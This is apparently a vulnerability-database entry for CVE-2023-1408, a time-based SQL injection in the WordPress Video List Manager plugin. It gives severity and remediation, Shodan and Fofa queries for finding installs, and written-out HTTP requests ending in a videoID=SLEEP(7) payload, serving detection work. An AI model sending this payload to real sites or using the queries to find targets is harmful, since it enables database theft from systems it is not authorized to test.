🔙 목록으로 돌아가기

CVE-2023-1408: Video List Manager <= 1.7 - SQL Injection

TitleVideo List Manager <= 1.7 - SQL Injection
Authorr3Y3r53
SeverityHigh
ImpactAuthenticated high-privilege attackers (admin) can exploit SQL injection through the videoID parameter to extract database contents, potentially stealing user credentials, video metadata, and compromising the WordPress database.
RemediationUpdate Video List Manager plugin to a version newer than 1.7 that uses parameterized queries or prepared statements for the videoID parameter in admin.php.
CVSS Score7.2
EPSS Score0.20508
CVE IDCVE-2023-1408
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/video-list-manager/
Fofa Querybody=/wp-content/plugins/video-list-manager/
Tags time-based-sqli cve cve2023 wpscan sqli wordpress wp-plugin wp authenticated video_list_manager_project vuln

🔍 Vulnerability Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/15.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=9ovhk0&pwd=Pbrb8L&wp-submit=Log+In
GET /wp-admin/admin.php?page=tnt_video_edit_page&videoID=SLEEP(7) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1408.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1408.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A